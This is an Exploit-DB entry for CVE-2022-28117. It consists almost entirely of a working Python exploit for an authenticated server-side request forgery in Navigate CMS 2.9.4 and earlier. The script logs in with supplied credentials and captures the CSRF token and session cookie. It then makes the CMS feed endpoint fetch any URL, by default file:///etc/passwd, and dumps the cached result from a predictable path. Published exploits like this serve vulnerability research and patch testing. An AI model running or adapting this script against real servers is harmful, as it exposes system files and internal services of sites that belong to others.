Navigate CMS 2.9.4 – Server-Side Request Forgery (SSRF) (Authenticated)

  • 作者: cheshireca7
    日期: 2022-05-11
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/50921/
  • #!/usr/bin/env python3
    # Exploit Title: Navigate CMS 2.9.4 - Server-Side Request Forgery (SSRF) (Authenticated)
    # Exploit Author: cheshireca7
    # Vendor Homepage: https://www.navigatecms.com/
    # Software Link: https://sourceforge.net/projects/navigatecms/files/releases/navigate-2.9.4r1561.zip/download
    # Version: 2.9.4 and earlier
    # Tested on: Ubuntu 20.04
    # CVE: CVE-2022-28117
    #
    # -*- coding: utf-8 -*-
    
    import requests as r, signal
    from emoji import emojize
    from argparse import ArgumentParser
    from sys import exit
    from requests_toolbelt.multipart.encoder import MultipartEncoder
    from hashlib import md5
    from time import sleep
    from base64 import b64decode,b64encode
    from colorama import Fore, Style
    
    #proxies = {'http':'http://127.0.0.1:8080'}
    
    def handler(signum, frame):
    print("["+Fore.YELLOW+"!"+Style.RESET_ALL+"] "+emojize(b64decode("T2gsIHlvdSBjYW7igJl0IGhlbHAgdGhhdCwgd2UncmUgYWxsIG1hZCBoZXJlIC4uLiA6cGF3X3ByaW50czoK").decode('UTF-8')))
    exit()
    
    def login():
    print("["+Fore.BLUE+"*"+Style.RESET_ALL+f"] Trying to authenticate as {args.username} ...")
    sleep(1)
    
    try:
    # Grabbing CSRF Token
    s = r.Session()
    resp = s.get(f"{args.target}/login.php")#, proxies=proxies)
    csrf_token = resp.headers['X-Csrf-Token']
    
    # Performing login
    data = MultipartEncoder(fields={'login-username':f"{args.username}",'csrf_token':f"{csrf_token}",'login-password':f"{args.password}"})
    headers = {'Content-Type':data.content_type}
    resp = s.post(f"{args.target}/login.php", data=data, headers=headers, allow_redirects=False)#, proxies=proxies)
    except:
    print("["+Fore.RED+"!"+Style.RESET_ALL+"] Something went wrong performing log in")
    exit(-1)
    if resp.status_code == 302:
    print("["+Fore.GREEN+"+"+Style.RESET_ALL+"] Login successful!")
    for cookie in resp.cookies:
    if "NVSID" in cookie.name:
    return (resp.headers['X-Csrf-Token'],f"{cookie.name}={cookie.value}")
    else:
    print("["+Fore.RED+"!"+Style.RESET_ALL+f"] Incorrect {args.username}'s credentials")
    exit(-1)
    
    def exploit(values):
    print("["+Fore.BLUE+"*"+Style.RESET_ALL+"] Performing SSRF ...")
    sleep(1)
    
    # Abusing cache feature to retrieve response 
    data = {'limit':'5','language':'en','url':f'{args.payload}'}
    headers = {'X-Csrf-Token':values[0]}
    cookies = {values[1].split('=')[0]:values[1].split('=')[1]}
    resp = r.post(f"{args.target}/navigate.php?fid=dashboard&act=json&oper=feed", cookies=cookies, headers=headers, data=data)#, proxies=proxies)
    
    # Retrieving the file with response from static route
    md5File = md5(f"{args.payload}".encode('UTF-8')).hexdigest()
    resp = r.get(f"{args.target}/private/1/cache/{md5File}.feed",cookies=cookies)#,proxies=proxies)
    if len(resp.text) > 0:
    print("["+Fore.GREEN+"+"+Style.RESET_ALL+"] Dumping content ...")
    sleep(1)
    print(f"\n{resp.text}")
    exit(0)
    else:
    print("["+Fore.RED+"!"+Style.RESET_ALL+"] No response received")
    exit(-1)
    
    if __name__ == '__main__':
    
    # Define parameters
    signal.signal(signal.SIGINT, handler)
    parser = ArgumentParser(description='CVE-2022-28117: Navigate CMS <= 2.9.4 - Server-Side Request Forgery (Authenticated)')
    parser.add_argument('-x', '--payload',default='file:///etc/passwd', help='URL to be requested (default=file:///etc/passwd)')
    parser.add_argument('-u','--username', default='admin', help='Username to log in the CMS (default=admin)')
    parser.add_argument('-p','--password', required=True, help='Password to log in the CMS')
    parser.add_argument('target', help='URL where the CMS is hosted. Ex: http://example.com[:80]/navigate')
    args = parser.parse_args()
    
    exploit(login())